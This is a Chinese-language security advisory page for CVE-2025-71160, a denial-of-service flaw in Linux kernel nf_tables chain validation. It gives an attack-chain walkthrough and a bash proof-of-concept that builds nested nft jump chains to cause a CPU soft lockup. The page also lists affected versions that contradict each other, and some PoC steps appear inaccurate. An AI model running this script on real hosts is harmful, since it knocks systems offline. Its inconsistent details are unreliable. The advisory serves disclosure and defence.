IPBUF安全漏洞报告
English
CVE-2025-71160 CVSS 5.5 中危

CVE-2025-71160 Linux kernel nf_tables 链验证拒绝服务漏洞

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71160
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel nf_tables

相关标签

Linux kernelnf_tablesnetfilter拒绝服务CPU soft lockupCVE-2025-71160本地提权iptables

漏洞概述

CVE-2025-71160是Linux内核netfilter子系统中nf_tables模块的一个拒绝服务漏洞。该漏洞源于nft_chain_validate()函数在验证链时存在性能问题,当nf_tables遍历整个表(链图)时,从入口点(基础链)开始探索所有可能的路径(链跳转),导致CPU软锁锁(soft lockup)。攻击者可以通过创建特定的链跳转规则,使验证函数陷入无限循环或长时间占用CPU资源,从而造成系统拒绝服务。此漏洞需要本地低权限访问即可触发,CVSS评分为5.5,属于中等严重程度。漏洞影响Linux内核的nf_tables组件,攻击者可利用精心构造的iptables规则触发该问题。

技术细节

该漏洞存在于Linux内核的netfilter: nf_tables模块中。在nf_tables_validate()函数执行期间,系统会遍历整个表结构,从基础链开始探索所有可能的跳转路径。当处理复杂的链跳转关系时(如:input -> j2 -> j3、input -> j2 -> j3、input -> j1 -> j2 -> j3),nft_chain_validate()会对每个规则重复验证相同的链,导致不必要的重复验证和潜在的无限递归。当前实现没有缓存已验证链的结果,造成CPU资源被长时间占用。攻击者可以通过创建包含多个链跳转的iptables规则来触发此漏洞,表现为watchdog报错"BUG: soft lockup - CPU#X stuck for Xs"。虽然漏洞不直接导致代码执行或数据泄露,但会造成系统可用性完全丧失。修复方案需要记录链的基链上下文(类型、hooknum),并在链被不同hook位置可达时重新验证,同时缓存已验证链的结果以避免重复验证。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地低权限访问权限
STEP 2
步骤2
攻击者加载nftables模块并创建nf_tables表和链结构
STEP 3
步骤3
攻击者创建包含多个重叠跳转路径的iptables规则,如input->j2->j3重复出现,以及input->j1->j2->j3的深层嵌套
STEP 4
步骤4
当执行nft commit操作时,nft_chain_validate()函数开始遍历链图进行验证
STEP 5
步骤5
由于缺少已验证链的缓存机制,函数对相同链进行重复验证,导致CPU长时间占用
STEP 6
步骤6
触发内核watchdog检测到CPU软锁锁,报错"BUG: soft lockup - CPU stuck",系统可用性丧失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-71160 PoC - nf_tables chain validation DoS # This PoC creates a complex chain jump structure to trigger CPU soft lockup # Load nf_tables kernel module modprobe nftables # Create a simple chain structure that demonstrates the issue nft add table inet filter # Create base chain nft add chain inet filter input { type filter hook input priority 0; policy accept; } # Create multiple jump chains to trigger re-validation issue nft add chain inet filter j1 nft add chain inet filter j2 nft add chain inet filter j3 # Add rules that create overlapping paths causing repeated validation nft add rule inet filter input jump j2 nft add rule inet filter input jump j2 nft add rule inet filter input jump j1 # Add jump chains that create deep nesting nft add rule inet filter j1 jump j2 nft add rule inet filter j2 jump j3 # This creates the problematic validation pattern: # input -> j2 -> j3 (validated twice unnecessarily) # input -> j1 -> j2 -> j3 (requires full revalidation) echo "Rules added. The complex chain structure may trigger soft lockup during nft commit." # Attempt to commit changes - this is where nft_chain_validate() runs nft list ruleset

影响范围

Linux kernel < 6.12 (with nf_tables enabled)
Linux kernel 6.1.x < 6.1.120
Linux kernel 6.6.x < 6.6.70
Linux kernel 6.12.x < 6.12.7

防御指南

临时缓解措施
在等待内核更新期间,可通过限制普通用户对nftables的访问权限来降低风险。使用iptables替代nftables作为临时方案,或者通过seccomp/AppArmor等强制访问控制机制限制nftables相关系统调用的使用。如果业务不需要复杂的链跳转规则,应避免创建多层嵌套的跳转链结构,以减少触发该漏洞的可能性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表